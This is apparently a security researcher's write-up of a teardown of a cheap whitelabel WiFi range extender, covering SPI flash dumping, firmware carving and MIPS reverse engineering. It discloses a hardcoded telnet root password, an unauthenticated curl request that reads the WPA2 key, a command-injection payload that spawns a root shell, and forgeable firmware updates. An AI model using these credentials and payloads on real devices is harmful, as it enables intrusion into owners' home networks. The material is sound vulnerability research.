Every one of these devices ships with the same root password. It is a nine-character constant compiled into the vendor’s control daemon, it belongs to an account the owner is never told about and cannot permanently change, and a telnet daemon is started unconditionally on every boot to serve it. Nothing filters inbound connections either, so it is reachable from the network the extender is bridging to and not just from its own WiFi. The thing cost three pounds and arrived in a fortnight, and there are a great many of them sitting in people’s homes right now.
It came from one of those algorithmically-suggested Temu listings that is too good to scroll past: a “WiFi signal booster / range extender”, six antennas, dramatic coverage diagrams, and a price somewhere south of a coffee. Hardware that cheap is almost never designed by whoever is selling it. What you are actually buying is a whitelabel reference design, which means the security posture the original ODM shipped with is the one every reseller’s customers inherit, and none of those customers have any idea whose code is really running.
None of that is visible from the outside, and there is no firmware download anywhere to inspect, so the only way to find out was to take the bytes off the flash chip ourselves. That is worth doing even when a download does exist, because the image on the chip is the image that is really running, complete with the vendor’s NVRAM defaults and any partition an update package would never contain. In this write-up we will open the device, work out what is actually inside it, read the SPI flash with a Bus Pirate, carve the kernel and the root filesystem out of the dump, and then follow the strings in that control daemon until the account falls out of the disassembly. The hardware half is the easy half. The interesting part is what strings and a MIPS disassembler tell us afterwards.
What are we even holding?
Before any probing it is worth asking what the device claims to be, because the answer turned out to be “nothing in particular”. The listing had a brand name on it, but a brand on a Temu listing is a marketing label, not an identity. So we open it up and let the board tell us the truth.
The enclosure pops open with a spudger and a bit of persuasion. Inside is a single blue PCB, four external dipoles on u.FL pigtails, two Ethernet jacks, and three obvious chips. There is no FCC ID that resolves to anything useful, no model number moulded into the case, and crucially no brand string anywhere we will later find in the firmware either. The one piece of stable identity is printed on the board itself.
There it is in the corner: Z05L V1.0. That is the closest thing to a model name this device has, so that is what we will call it. Do not skip this step. If you name your research after the box it came in, you will confidently publish the wrong manufacturer, and someone will rightly pull you up on it.
Reading the silicon
A board is only as interesting as the parts on it, so we identify the three big chips before deciding how to attack it. Chip markings on cheap hardware are often faint, laser-etched into a matte package, and best read with raking light from a phone torch.
The main SoC is a MediaTek part. The etch is worn but the family is unmistakable, and the firmware confirms it later: the NVRAM carries Platform=RT7620 and the WiFi calibration EEPROM starts with the chip ID 0x7620. That makes this an MT7620, a MIPS24KEc-based 2.4 GHz WiFi SoC that MediaTek inherited from Ralink, which is exactly why the firmware is riddled with ra0, iwpriv and “RALINK” strings. It is the workhorse of a decade of cheap routers and repeaters.
The RAM is an EtronTech EM68B16CWQH-25H, a DDR2 SDRAM. Nothing exotic, and not something we need to touch, but worth recording so the board can be matched against others of the same reference design.
The chip we actually care about is on the reverse.
An eight-legged SOIC-8 sat on its own on the back of the board is almost always the SPI NOR flash, and this is no exception.
Under magnification it reads winbond 25Q32BVSIG 1126. That is a Winbond W25Q32BV, a 32 Mbit (4 MB) SPI flash in the industry-standard 25-series pinout, and the 1126 is a 2011 week-26 date code. This single chip holds the bootloader, the kernel, the root filesystem and the configuration. If we can read it, we have everything.
Why the flash chip, and why a Bus Pirate?
There are gentler ways into a device than going straight for the flash chip. Many of these boards expose a UART, and interrupting U-Boot over serial often drops you to a boot prompt. But UART gives you a console, not necessarily a byte-for-byte image, and it depends on the bootloader cooperating. Reading the SPI flash directly sidesteps all of that: whatever is on the chip is what we get, regardless of what the software wants to show us.
The Bus Pirate is the tool for this. It is an open-source USB interface that speaks SPI (among many other protocols), can supply a regulated 3.3 V rail to power the target, and in its current generation ships with a genuinely pleasant flash-reading command set built in. We are using a Bus Pirate 6, the newer RP2350-based hardware, whose firmware understands SPI NOR flash natively, so there is no external flashrom dance to perform.
The W25Q32BV pinout is the standard 25-series arrangement, and it is worth having in front of you before you start clipping onto pins:
Pin Name Function Bus Pirate 1 /CS Chip select CS 2 DO (IO1) Data out (MISO) MISO 3 /WP (IO2) Write protect 3V3 (tie high) 4 GND Ground GND 5 DI (IO0) Data in (MOSI) MOSI 6 CLK Clock CLK 7 /HOLD (IO3) Hold 3V3 (tie high) 8 VCC 3.3 V supply 3V3
Pin 1 is marked by the dimple in the corner of the package. Everything counts anti-clockwise from there when the chip is viewed from the top. The canonical connection reference for the Bus Pirate lives in the official Bus Pirate documentation, and it is worth following that for the exact connector labelling rather than trusting cable colour alone.
Hooking it up
We read this chip in-circuit, meaning we did not desolder it. In-circuit reads are quicker and kinder to the pads, but they come with a caveat we will cover in a moment. The legs on a SOIC-8 sit on a 1.27 mm pitch, which is tight but nothing like as unforgiving as a fine-pitch QFP, so rather than fight a SOIC clip onto a board this cluttered we grabbed each of the eight legs individually with a fine test hook. No iron, nothing permanent, and if a hook slips off you reseat it in a couple of seconds instead of reworking a lifted pad.
Eight hooks, one per leg, brought out to the Bus Pirate: chip select, the two data lines, clock, ground, the 3.3 V supply, and write-protect and hold both pulled up to 3.3 V so the chip does not sit in a held or protected state. Dress the leads so that nothing pulls on a hook and check that neighbouring hooks are not touching each other, because on this pitch a short between two of them is easier to create than you would like. Contact quality is the whole game here, since a single intermittent connection during a four-megabyte read will corrupt the dump and you will not always notice until extraction fails later.
The caveat with an in-circuit read is contention. When we power the flash through its VCC pin, we are also back-powering the rest of the board through whatever is connected to that rail, including the MT7620. If the SoC wakes up and starts issuing its own reads on the shared SPI bus, our dump is ruined. The usual remedy is to hold the CPU in reset for the duration. On this board, powering the rail at 3.3 V and letting the Bus Pirate drive the bus was enough to get a clean read on the first attempt, but if your dumps come back inconsistent, that bus fight is the first thing to suspect.
The read, over the Bus Pirate console
With everything wired, the actual dump is a three-line conversation with the Bus Pirate. First we bring up the power supply, asking for 3.3 V with a 200 mA current limit:
SPI> W 3.3 200
3.30V requested, closest value: 3.30V
200.0mA requested, closest value: 200.0mA
Power supply: Enabled
Vreg output: 3.3V, Vref/Vout pin: 3.3V, Current: 1.3mA
That 1.3 mA idle draw is a good sign on its own: the chip is powered and nothing is shorted. Next we ask the Bus Pirate to identify the flash, which is where the newer firmware earns its keep:
SPI> flash probe
Flash device manufacturer ID 0xEF, type ID 0x40, capacity ID 0x16
...
Found a Winbond flash chip (4194304 bytes)
Manufacturer 0xEF is Winbond, and 0x4016 decodes to the W25Q32 at 4194304 bytes. That lines up exactly with the marking we read off the package, which tells us the wiring is correct and the chip is responding properly rather than returning garbage. The probe even walks the chip’s SFDP tables and reports the supported erase and fast-read modes, none of which we need for a read but all of which confirm we are talking to a healthy device.
Then we simply read the whole thing to a file:
SPI> flash read -f firmware.bin
Initializing SPI flash...
Found a Winbond flash chip (4194304 bytes)
Dumping to dump...
[-------------Co o o ]
A few minutes later we have four megabytes sitting in the Bus Pirate’s storage, and we copy it off over USB as firmware.bin. That copy is the entire attack surface of the device, and everything from here on is done on a laptop with the hardware set aside.
Before moving on it is worth sanity-checking the dump. A quick hash and a size check confirm we have exactly 4194304 bytes, and a look at the entropy tells us whether the read succeeded: long runs of high entropy where the kernel lives, low-entropy regions of 0xFF where the flash is unused, and readable strings in the bootloader and configuration areas. A dump that is all high entropy, or all 0xFF, means the read failed and it is back to reseating the hooks.
What did we actually pull?
A raw flash image is not a filesystem, it is a stack of partitions with no table telling you where they begin. The job now is to carve it apart. Binwalk gets us started by scanning for known signatures:
$ binwalk firmware.bin
327680 0x50000 uImage firmware image, LZMA, MIPS32, Linux Kernel Image, ...
So at offset 0x50000 there is a uImage, the container format U-Boot uses for kernels: a 64-byte header followed by an LZMA-compressed MIPS kernel. Before it, in the first 320 KB, sits the bootloader and the configuration. This is where a lot of write-ups stop, because binwalk’s automatic extraction unpacks the uImage and finds nothing else obvious. The interesting part is hiding one layer deeper.
We carve the LZMA payload out by hand, using the size from the uImage header, and decompress it:
import lzma
d = open("firmware.bin", "rb").read()
payload = d[0x50040:0x50040 + 3527209] # skip the 64-byte uImage header
kernel = lzma.LZMADecompressor(format=lzma.FORMAT_ALONE).decompress(payload)
open("kernel.bin", "wb").write(kernel)
That gives us the decompressed kernel, and its banner tells us what we are dealing with: Linux version 2.6.36, gcc 4.6.3, Buildroot 2012.11.1, built in August 2024. A 2024 build of a kernel that reached end of life in 2011. Now for the part binwalk glossed over. Scanning the decompressed kernel turns up a second compressed stream, an XZ blob, part way through it:
import lzma
k = open("kernel.bin", "rb").read()
cpio = lzma.LZMADecompressor(format=lzma.FORMAT_XZ).decompress(k[0x5CB000:])
open("initramfs.cpio", "wb").write(cpio)
The reason binwalk’s one-shot extraction misses this is that the root filesystem is not a separate squashfs partition, as it usually is on these devices. It is an initramfs, an XZ-compressed cpio archive baked directly into the kernel image. That is an important detail for later: it means the entire root filesystem lives in RAM at runtime, every file on it is writable, and any change we make on the running device evaporates on reboot unless we rewrite the flash. Unpacking the cpio (on a Linux box, so the device nodes and permissions survive) finally gives us the real prize:
mkdir rootfs && cd rootfs
cpio -idm --no-absolute-filenames < ../initramfs.cpio
One hundred and fifty-five files: a BusyBox userland, a lighttpd web server, the vendor’s masterCtrl daemon that orchestrates the whole device, the web UI, and a config partition full of plaintext defaults. From here it is all static analysis, and that is where the fun really starts.
Setting up to read MIPS
Static analysis of a device like this means reading MIPS assembly, and macOS does not ship a MIPS toolchain, so the first job is to build somewhere to work. Rather than install a pile of cross tools onto the host we spin up a throwaway Debian container with binutils-mips-linux-gnu, binwalk, cpio and qemu-user-static in it, mount the extracted firmware read-only, and do all the disassembly in there. It keeps the host clean and it is trivially reproducible.
Two facts shape everything that follows. First, every binary in this image was compiled with no exploit mitigations at all: no stack canaries, no non-executable stack, no position-independent code, and the kernel is too old to offer meaningful address randomisation. Anything we find is exploitable the way things were in 2005. Second, the vendor funnels most of its shell-outs and configuration access through a handful of helper functions in libroscommon.so and librosplatform.so. The one to recognise on sight is doSystemCmdComlib, which is nothing more than a vsnprintf into a stack buffer followed by a call to system. Every time we see it, we are looking at a shell command being built and run, and if any part of that format string comes from the network we have a command-injection candidate. Keeping a short table of these helpers next to the disassembler saves an enormous amount of time.
How did we find the root password?
Static analysis of an unfamiliar userland needs a starting point, and the best one is the boot script, because it tells you what the vendor considered important enough to run before anybody has logged in to anything. /etc/init.d/rcS on this image is short, and the line that matters launches masterCtrl, a single large binary that supervises the entire device: networking, WiFi, the web stack, the lot. If anything is going to hand us the box, it will be in there.
Before disassembling anything it is worth simply running strings over a binary and reading it like a story, because developers leave the plot in plain text. Reading the whole output of a binary this size is tedious, so we filter for the shapes that tend to matter: paths under /etc, anything that looks like a shell command, printf format strings, and any short alphanumeric literal that does not obviously belong to one. Reading masterCtrl that way, one cluster in the read-only data stopped us dead:
/etc/group
root
198277tt@
%s:x:0:%s
/etc/passwd
%s::0:0:Adminstrator:/:/bin/sh
/tmp/tmpnamepass
chpasswd < /tmp/tmpnamepass
A nine-character literal sandwiched between the string root and the path /etc/passwd, with a chpasswd invocation a few entries later, is about as loud as a hardcoded credential gets. Dumping the read-only data with addresses shows how tightly the whole thing is packed together:
0x410bc4 "/etc/group"
0x410bd0 "root"
0x410bd8 "198277tt@" <-- root password literal
0x410be4 "%s:x:0:%s\n"
0x410c18 "/etc/passwd"
0x410c24 "%s::0:0:Adminstrator:/:/bin/sh\n" <-- note the empty password field
0x410c6c "/tmp/tmpnamepass"
0x410c80 "%s:%s\n"
0x410c88 "chpasswd < /tmp/tmpnamepass"
0x411474 "telnetd&"
Adjacency in .rodata proves nothing on its own, though. The linker groups string literals in whatever order the compiler emitted them, not by meaning, and plenty of dead constants survive into shipped binaries. What we actually needed was the cross-reference: which instruction loads 0x410bd8, and on what path does that instruction run.
That is more awkward on MIPS than it would be on x86. There is no single instruction that loads a full 32-bit address, so the compiler builds one out of a pair: a lui that puts the top half of the address into a register, then an addiu (or the displacement field of a following load or store) that supplies the bottom half, often several instructions later and occasionally in a different basic block. Grepping the disassembly for 410bd8 finds nothing at all, and objdump will not do the arithmetic on your behalf. So we wrote a short script that walks the disassembly, remembers the last lui written to each register, recombines it with the matching addiu, and annotates the line with whichever string lives at the reconstructed address. Suddenly the binary has cross-references:
0x402884 main+0x1864 addiu v0,v1,3032 -> 0x410bd8 "198277tt@"
0x40292c main+0x190c addiu a0,a0,3096 -> 0x410c18 "/etc/passwd"
0x402958 main+0x1938 addiu a1,a1,3108 -> 0x410c24 "%s::0:0:Adminstrator:/:/bin/sh"
0x402a24 main+0x1a04 addiu a0,a0,3208 -> 0x410c88 "chpasswd < /tmp/tmpnamepass"
0x403778 main+0x2758 addiu a0,a0,5236 -> 0x411474 "telnetd&"
One reference to the password, and it is in main. Reading forward from 0x402820 and undoing the compiler’s work, the routine reconstructs to this:
char user[64] = {0}, pass[64] = {0};
strcpy(user, "root"); /* inlined: sw t2,88(sp); sb t1,92(sp) */
strcpy(pass, "198277tt@"); /* inlined: sw t0,24(sp); sw v1,28(sp); sh v0,32(sp) */
f = fopen("/etc/group", "w+");
fprintf(f, "%s:x:0:%s\n", user, user);
fwrite("nobody::65533:\n", 1, 15, f);
fwrite("nogroup::65534:nobody\n", 1, 22, f);
fclose(f);
f = fopen("/etc/passwd", "w+");
fprintf(f, "%s::0:0:Adminstrator:/:/bin/sh\n", user); /* empty password field */
fwrite("nobody::65534:65533:nobody:/:/bin/bash\n", 1, 39, f);
fclose(f);
f = fopen("/tmp/tmpnamepass", "w+");
fprintf(f, "%s:%s\n", user, pass); /* root:198277tt@ */
fclose(f);
system("chpasswd < /tmp/tmpnamepass");
Both strcpy calls have been inlined by the compiler into immediate stores, which is why the strings sit in .rodata looking inert: nothing ever calls a string function on them, the bytes are just poked onto the stack a word at a time. That is also why a naive xref tool that only looks at call arguments will miss this entirely.
There are two separate problems visible in that reconstruction. The obvious one is the constant password. The subtler one is the empty second field in the passwd line: between the fprintf that writes root::0:0:... and the chpasswd that fills the hash in, root has no password whatsoever. chpasswd is a separate fork and exec, so the window is milliseconds rather than seconds, but it is real and it recurs on every boot.
How we know it’s a backdoor
A hardcoded and undocumented root password is only worth having if something is listening for it, and the same annotation pass answered that question too, because the argument strings handed to doSystemCmdComlib are now legible inline. A little further down the same function, on the same startup path:
0x403764: doSystemCmdComlib("killall -9 telnetd")
0x403778: doSystemCmdComlib("telnetd&")
No -l override on that invocation, so telnetd falls back to /bin/login, which authenticates against the /etc/passwd that masterCtrl has just finished writing.
The last thing to establish is that neither of these sits behind a configuration check, because a debug feature gated on an NVRAM flag would be a much less interesting finding than an unconditional one. So we did the boring but necessary work: we took the address range covering both the password code and the telnetd launch, 0x402820 through 0x403860, and searched the entire disassembly for any branch or jump targeting an address inside it. There are none. Nothing branches over this code and nothing branches into the middle of it, which makes it straight-line startup that runs on every boot of every unit. Same password, same telnet daemon, and no setting anywhere that changes either.
That is the whole ballgame on its own, and there is nothing subtle about the exploitation:
telnet 192.168.11.1
# login: root
# password: 198277tt@
It is worth being precise about what makes this as bad as it is, because “hardcoded password” covers a wide range of sins. This one is a compile-time constant rather than something derived from the MAC address or a serial number, so it is identical on every unit ever sold. It is also entirely separate from the web UI password, so a user who dutifully changes their admin credentials has not touched it, and there is no screen in the interface that so much as hints it exists.
Put those properties together and this stops looking like a weak default and starts looking like a backdoor. A default credential is something the owner can see, is told about, and can change. What we have here is the opposite on every count: an undocumented account with uid 0, a fixed credential shared across the entire production run, a remote access daemon started unconditionally to serve it, and no surface anywhere in the product that discloses or controls any of it. The device is not merely shipping insecurely, it is maintaining a guaranteed route in.
The re-assertion on every boot is what settles the argument. Suppose an owner does find out and does the sensible thing: they telnet in and run passwd. It works, and it lasts exactly until the next power cycle, because masterCtrl rebuilds /etc/passwd from those compiled-in literals during startup and pipes the constant back through chpasswd. Remember that the root filesystem is an initramfs living in RAM, so there is nothing on the flash to persist their change into either. The access cannot be revoked by the person who owns the hardware, which is the property that distinguishes a backdoor from a bug.
None of that requires us to prove intent, and we are not going to try. This is a whitelabel reference design and the more likely story is a factory or support convenience that was never stripped before shipping, which is how a great many of these get there. But intent is not the thing that matters to somebody who has this plugged into their house. Behaviourally the two are indistinguishable, and the correct way to treat an undocumented, unchangeable, fleet-wide root login exposed over telnet is as a backdoor, whatever the developer was thinking when they typed it.
A nice detail explains why this has survived: 198277tt@ never appears in the raw firmware.bin at all, because it only exists inside the LZMA-compressed kernel. Anyone auditing this device the quick way, by running strings over the flash dump, sees precisely nothing. You have to carve and decompress the initramfs first, and that is exactly the step binwalk’s one-shot extraction skips.
Does the login actually log you in?
The web interface presents an admin login page, so the obvious next question is whether it means anything. It does not, and the way we establish that is a good illustration of checking both ends of a request.
The client end is in webs/static/js/config.js. When the login form is submitted, the success handler does this:
if (data.error == 0) {
$.cookie('lstatus', true); // the browser sets its own "logged in" flag
setTimeout(function () { document.location = 'home.html'; }, 200);
}
The “logged in” state is a cookie the JavaScript sets on itself. The server never issues it. That is a strong hint, but a client-side smell is not proof the server is not enforcing something of its own, so we go and look at the server.
The API is handled by commuos, and here the symbol table does the work for us. Listing the functions in the binary, there is no session table, no token generator, and no cookie handling anywhere; the string Cookie does not occur in the binary at all. The single dispatch routine, cgi_protocol_handler, pulls the fname and opt parameters that select which action to run and dispatches on them immediately, with no credential check in front of the dispatch. There is a login handler, and it does compare the submitted password against the value in NVRAM, but its result gates nothing: every other handler is reachable without ever calling it. For good measure, the lighttpd config that ships and runs on the device has its authentication module commented out, and even the userfile path it refers to is wrong.
So the entire API is unauthenticated. Reading the WPA2 key off the device is a single unauthenticated request:
curl -s 'http://192.168.11.1/protocol.csp?fname=net&opt=wifi_ap&function=get'
and because there is no anti-CSRF token either, the same requests can be fired from any web page the victim happens to open while on the network.
Following user input into a shell
With authentication out of the way, the interesting question becomes whether any of those freely-reachable handlers feed our input into a shell. This is where the doSystemCmdComlib habit pays off. We enumerate the parameter names the handlers read, then follow the ones that reach a command builder.
To read the handlers without going cross-eyed, we extended the disassembly with two more scripts: one that resolves the MIPS global-offset-table slots back to function names, so a bare indirect call becomes a legible --> doSystemCmdComlib(), and one that annotates each lui/addiu pair with the string it points at. With that, the host_list handler reads almost like C:
con_value_get(req, "mac"); // fetch the "mac" parameter, url-decoded, unvalidated
con_value_get(req, "type");
strcmp(type, "disconn") == 0 -> {
sprintf(buf, "iwpriv ra0 set DisConnectSta=%s", mac); // unquoted %s
doSystemCmdComlib(buf);
}
The mac parameter is taken straight from the request and interpolated into a shell command with a bare %s and no quoting, then handed to doSystemCmdComlib, which runs it through system. There is no validation between the two. That is unauthenticated command injection as root:
curl -s -X POST 'http://192.168.11.1/protocol.csp' \
--data-urlencode 'fname=net' --data-urlencode 'opt=host_list' \
--data-urlencode 'function=set' --data-urlencode 'type=disconn' \
--data-urlencode 'mac=;telnetd -l /bin/sh -p 4444;'
The most instructive part of this finding is what sits nearby in the binary. There is a correct MAC-address validator, checkmac, that would have rejected our payload outright. It is called exactly once in the whole program, on a different handler, and never on this path. The security control was written and then simply not wired up here. That pattern, a validator that exists but is applied inconsistently, is worth internalising, because it is far more common than a control being missing altogether, and it is invisible if you only check whether a validator exists rather than whether it guards the path you care about. The same sprintf-into-a-fixed-buffer also overflows the stack for a long enough input, but with a clean injection already in hand that is academic.
How does the box update itself?
Given root on a device whose filesystem lives in RAM, the natural follow-up is persistence, which means understanding how firmware updates are validated. We find the answer by decompiling checkFirmwarePlatformlib in librosplatform.so, the function the update handler calls before flashing. Stripped to its logic, it does four things: it checks the image begins with the uImage magic 0x27051956, it recomputes the CRC32 of the header and compares it to the header’s stored value, it recomputes the CRC32 of the payload and compares that, and it checks the image is not bigger than the flash partition. Then it returns success.
That is the entire check. CRC32 is an error-detection checksum, not a signature; it stops a corrupt download, not a malicious one. There is no cryptographic signature, no HMAC, and no vendor key anywhere in the image (we grepped the whole rootfs and the flash for key material and found none). Anybody can produce an accepted image, because mkimage, the standard U-Boot tool, computes exactly those CRCs for arbitrary content by design. So the update path is forgeable: build a uImage with a backdoored kernel, upload it through the same unauthenticated CGI that stages the file, and tell the device to flash it. This is the step that turns the RAM-only root we already have into something that survives a power cycle.
The firewall that isn’t
One question decides whether all of the above is a local-network problem or an internet-facing one: does anything filter inbound connections? We answer it by pulling every iptables invocation out of masterCtrl and reading the lot. There are only a handful, and they all operate on the nat and mangle tables to set up masquerading and MSS clamping. The filter table, the one that holds the INPUT chain, is never touched, so it stays at its default ACCEPT.
The consequence is that telnet, HTTP and every other listening service accept connections on every interface, including the client interface the extender uses to attach to the upstream network in WISP mode. Plug this device into a café, a hotel, or a shared house, and the hardcoded telnet root login is exposed to everyone else on that network, not just to the extender’s own clients. That is what elevates the whole set from “someone on my WiFi could misbehave” to “the network this is bridging to owns the device”.
The remaining findings are smaller variations on these themes: the neighbouring-AP scan list is rendered into the admin’s browser without escaping, so a crafted SSID is stored XSS; the multipart parser in upload.cgi never checks a memmem result and can be walked off the end of its buffer; the serial console respawns a root shell with no login; and the config partition holds every credential, including the upstream network’s PSK once configured, in plain text.
Where this leaves us
For the price of a sandwich and an evening with a Bus Pirate, we now have the complete, running firmware of a device that thousands of people have plugged into their home networks, and we have it as the bytes that are actually executing rather than a sanitised download. The identity question answered itself along the way: there is no real brand here, just an Z05L reference board and an MT7620 running a 2024 build of a 2011 kernel.
What we found once we started reading masterCtrl and the web stack is about as bad as a device of this vintage and price can be: a hardcoded root password, a web API with no real authentication, unauthenticated command injection as root, and firmware updates “protected” by a CRC. None of it took a clever bug; it took strings, a symbol table, and the patience to follow a parameter from the socket to the shell. The hardware dump was the easy part. The rest is a lesson in what “range extender, £3, free shipping” really costs.









